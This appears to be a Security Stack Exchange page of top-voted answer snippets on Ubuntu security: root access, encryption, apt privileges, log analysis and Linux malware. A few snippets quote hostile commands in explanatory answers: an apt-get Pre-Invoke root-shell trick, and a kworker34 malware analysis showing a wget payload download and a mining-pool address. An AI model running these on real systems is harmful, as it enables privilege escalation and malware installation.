85
votes
Accepted
Why has Ubuntu 18.04 moved back to insecure Xorg?
They are doing this because the next release is an LTS release, which means stability is the primary concern. Xorg has a good track record of stability, whereas Wayland is still (relatively) new. This ...
- 65.7k
81
votes
Accepted
Why is disabling root necessary for security?
If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to.
Root is a giant target. What's root's username? Root! I'm so smart :)
Logging. Sudo has a ...
- 4,727
74
votes
Accepted
Aren't keyfiles defeating the purpose of encryption?
If decryption only relies on the keyfile and this keyfile is readily available, there is indeed no significant security benefit in your setup.
What you can do though is store the keyfile on a ...
- 7,369
67
votes
Accepted
What are the potential vulnerabilities of allowing non-root users to run apt-get?
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
From GTFOBins
This gives you a root shell on the system. No creating packages and adding fake repos; this will give the user who runs this command ...
- 845
64
votes
Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?
You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) ...
- 65.7k
63
votes
Accepted
Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?
Google, the major search engine of the Internet (dwarfing both Bing and Yahoo), and the browser used by majority of Internet users, has been pushing for an HTTPS-only world by decreasing the page rank ...
- 5,724
52
votes
How is it possible for boss to know I am finding a job?
Your boss is likely making assumptions. They can't read your messages on LinkedIn (unless you have your inmails forwarded to your work email and your company is monitoring your inbox....unlikely)
The ...
- 481
46
votes
What are the potential vulnerabilities of allowing non-root users to run apt-get?
You say you're using a "custom curated apt repository" but there's no way to enforce that. Any user that can invoke apt can specify their own source list, for example apt install root-backdoor -o Dir::...
- 43k
44
votes
Accepted
Is this what a brute force SSH attack looks like?
Is this a bruteforce attack
This looks like the background scanning that any server on the internet will experience.
Should I be worried
Not really, background scanning is completely normal, as long ...
- 3,179
39
votes
Accepted
Concerning GET request in logs
Can anyone help me determine if this is something I should be concerned about?
Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot%...
- 52.1k
38
votes
Why is disabling root necessary for security?
The site you link to is very poor at explaining what they are getting you to do. The root account is not being disabled, but rather, the password for root is disabled. That's what passwd -l does.
...
- 126k
36
votes
Accepted
Understanding suspicious HTTP GET Request
The reason it counts as "success" is because of the beginning:
/?...
This means the path the server cares about is /, which likely maps to the index of your web application. The query ...
27
votes
Why has Ubuntu 18.04 moved back to insecure Xorg?
@Forest's answer is helpful but I'd like to address the security perspective.
While there is a security risk, it's likely considered an acceptable risk, and possibly a feature, as mentioned in @...
- 12.5k
27
votes
Is a firewall enough of a security measure for an Ubuntu server that hosts a website?
Is a firewall enough of a security measure for an Ubuntu server that hosts a website?
Given the technologies you want to use you want to create a dynamic database-backed website without having any ...
- 191k
23
votes
Accepted
ISO27001 and Linux/Ubuntu
One of ISO 27001 requirements is management of access control to company's IT resources.
If you just install Ubuntu on your laptop, all the access control will be managed by you directly, instead of ...
- 1,456
23
votes
Accepted
I don't recognise my DNS server's address: does this mean I am compromised?
Something in your environment has definitely been compromised. It seems more likely that your router has been compromised. You haven't provided much information, so I'm going to make some basic ...
- 1,068
22
votes
How to use FDE without needing to share the encryption password
It comes to this: You want to implement a DRM scheme. Many before you have tried, all of them failed. It is not possible to give something (hardware, data) to users and prevent them from using it in ...
- 5,943
21
votes
Accepted
Breaching security of a notebook with full disc encryption when screen is locked
Can anyone point out any weakness in this setup, and if you do, how to
make it secure?
Hardware solutions exist which can grab your system's memory without needing your login. And that's pretty ...
- 72.4k
20
votes
Accepted
How is it possible for boss to know I am finding a job?
Your employer is possibly using a service like "Keeper" from HiQ Labs, which can provide forward-looking attrition risk analysis based on LinkedIn data.
Keeper analyses LinkedIn user data ...
- 316
19
votes
Accepted
How to use FDE without needing to share the encryption password
According to my previous answer, suggestion by @logneck and a bit of google-fu, I came to the conclusion that it is possible to implement the scheme requested in the question with available tools and ...
- 5,361
18
votes
Accepted
How to read CVE - 2016 - 5696 correctly
Does the version next to pending refer to kernel version for which the fix is released?
Yes- more precisely, the version next to "pending" refers to the version of the package within the ...
- 3,449
17
votes
Why is disabling root necessary for security?
It is an old Tradition from the days of the Mainframe. The idea is that root can do what he wants with the machine, including replacing the kernel or destroying the UEFI variables, which can brick the ...
- 170k
16
votes
Accepted
*NIX shadow file password format
The most common format for hashes on Unix-like systems has the form $ALG$SALT$OUTPUT where ALG is a small number identifying the algorithm, SALT is a salt for the hash and OUTPUT is the output of the ...
16
votes
Accepted
Why can 'Others' read files by default in Ubuntu?
The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for ...
- 276
13
votes
Are there ransomware infections of Ubuntu Linux in the wild?
Actually there IS a new ransomware (now, not when the question was asked) that is apparently a trojan that encrypts home directories and web root, then asks for a bitcoin to get the decryption key. I ...
- 271
12
votes
Accepted
Is a firewall enough of a security measure for an Ubuntu server that hosts a website?
A firewall is never enough, it is the bare minimum. Then having an IDS of some sort is desirable. For example if your SSH port is exposed you should block brute-force attacks, even if you have a ...
- 7,092
12
votes
Aren't keyfiles defeating the purpose of encryption?
While Demento's answer is fine, I'd also present another user case I'm personally using: I have full disk encryption set up — using LUKS on a Linux-based box, and the scheme is implemented as follows:
...
- 221
11
votes
Why should one bother encrypting the harddisk in linux if one can easily recover the root password?
If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive.
You might be mixing things up here. ...
- 22.5k
11
votes
Accepted
kworker34 malware on Linux
... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ...
Googling for stratum+tcp indicates that crypto-currency mining is going on.
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn ...
- 191k
Only top scored, non community-wiki answers of a minimum length are eligible